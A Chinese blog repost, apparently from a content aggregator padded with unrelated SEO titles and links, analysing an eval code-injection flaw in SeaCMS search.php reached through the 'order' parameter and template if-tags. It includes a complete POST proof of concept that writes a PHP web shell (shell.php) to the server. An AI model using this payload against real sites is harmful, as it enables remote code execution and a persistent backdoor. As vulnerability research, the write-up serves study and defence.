当前位置: 首页 > news >正文

什么网站可以请人做软件/百度搜索关键词排行榜

什么网站可以请人做软件,百度搜索关键词排行榜,名城苏州网首页,普陀做网站前言 这是一个比较老的漏洞了,不过漏洞原理还是挺有意思的。 正文 漏洞位于 search.php 文件中。 首先包含了 common.php, 这个文件里面做了一些初始化工作,其中最重要的是对提交参数的处理。 注册提交的参数为系统全局变量,很容易出现变量覆…

前言

这是一个比较老的漏洞了,不过漏洞原理还是挺有意思的。

正文

漏洞位于 search.php 文件中。

paste image

首先包含了 common.php, 这个文件里面做了一些初始化工作,其中最重要的是对提交参数的处理。

paste image

注册提交的参数为系统全局变量,很容易出现变量覆盖漏洞。

下面回到 search.php , 之后对变量进行处理以及过滤。

paste image

然后会 $searchtype 的值来选择渲染内容的模板。
paste image

之后就是对模板文件中的内容进行替换。
paste image

然后进入 $mainClassObj->parseIf 解析 if 语句
paste image

$mainClassObj->parseIf 最后会调用 eval 解析。
paste image

我们的目标就是 污染 eval 的参数。

poc:

POST /search.php HTTP/1.1
Host: hack.seacms.top
Content-Length: 176
Cache-Control: max-age=0
Origin: http://hack.seacms.top
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://hack.seacms.top/?XDEBUG_SESSION_START=15261
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=clcblhpau94ae8v6mfg5q1iil1; XDEBUG_SESSION=15261
Connection: closeorder=}{end%20if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end%20if}&searchtype=5&searchword=123&func=assert&cmd=fwrite(fopen('shell.php','w'),'<?php%20@eval($_POST[x])?>');

输入这个之后,首先闭合前面一个 {if:", 后面再单独形成一个 if 标签。

调试看看,完成替换以后,就会形成

{if:"}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}"=="time"}

paste image

然后在 parseIf 提取 if  语句对应标签内容时,可以看到我们的输入被识别成了标签。
paste image

最后在 eval 时,执行的其实是

if(1)print_r($_POST[func]($_POST[cmd]));//){$ifFlag=true;}else{$ifFlag=false;}

使用searchtype=5 是为了使用 cascade.html 最为模板,因为这里面才有 if 标签

paste image

而用 order 来传递 payload, 原因在于 order 变量没有做过滤处理,而且 order 的值会用来替换掉 {searchpage:ordername}.

$content = str_replace("{searchpage:ordername}",$order,$content);

参考

https://bbs.ichunqiu.com/thread-35085-1-1.html

转载于:https://www.cnblogs.com/hac425/p/9416779.html

http://www.lbrq.cn/news/781021.html

相关文章:

  • flash网站模版/福州seo结算
  • 做公司网站大概需要多少钱啊/网站排名怎么搜索靠前
  • 如果做淘宝网站/成品网站货源1
  • 找人做网站应该注意哪些/厦门seo起梦网络科技
  • 淘宝店可以做团购的网站吗/谷歌关键词搜索
  • wordpress不能更新插件/seo刷词
  • 南宁公司做网站/如何做广告宣传与推广
  • 昆明企业做网站/应用宝下载
  • 做网站怎样安全采集/链接交换平台
  • 做头像的网站自己的名字/品牌策划方案范文
  • 搭建公司介绍网站/西安网络推广公司大全
  • 网站建设公司名字/常见的推广方式
  • 网络营销的网站的分析/搜索引擎排名2021
  • 公明做网站的公司/seo软文是什么意思
  • 哪个网站能找到做夜场的女孩/销售推广方案
  • 洋洋点建站/网站优化排名网站
  • php做直播网站/百度客服人工服务
  • 如何为公司做网站/网络营销型网站
  • 网站开发工作/百度app下载安装
  • 程序员知识网站需要多少钱/网络广告营销方案
  • 榆林做网站/seo诊断方案
  • 建设检测人员证书查询网站/如何刷关键词指数
  • 如何防止网站被攻击/网站怎样才能在百度被搜索到
  • 网页设计模板html代码端午节/seo怎么发文章 seo发布工具
  • 做的比较好的网站有哪些/百度站长平台工具
  • 微信h5支付/汕头seo关键词排名
  • 深圳营销型网站制作/手机seo排名软件
  • b2b平台网站功能/最近一个月的热点事件
  • 顺义网站建设/网络营销推广方案ppt
  • 这么做国外网站的国内镜像站/友情链接交换平台
  • 若依前后端分离版学习笔记(七)—— Mybatis,分页,数据源的配置及使用
  • 视频遥测终端机是什么,其工作原理和应用领域
  • Unity基于Recoder的API写了一个随时录屏的工具
  • Numpy科学计算与数据分析:Numpy数组操作入门:合并、分割与重塑
  • [C++20]协程:语义、调度与异步 | Reactor 模式
  • 计算机网络:固定网络位长度子网划分flsm和可变长子网掩码划分vlsm的区别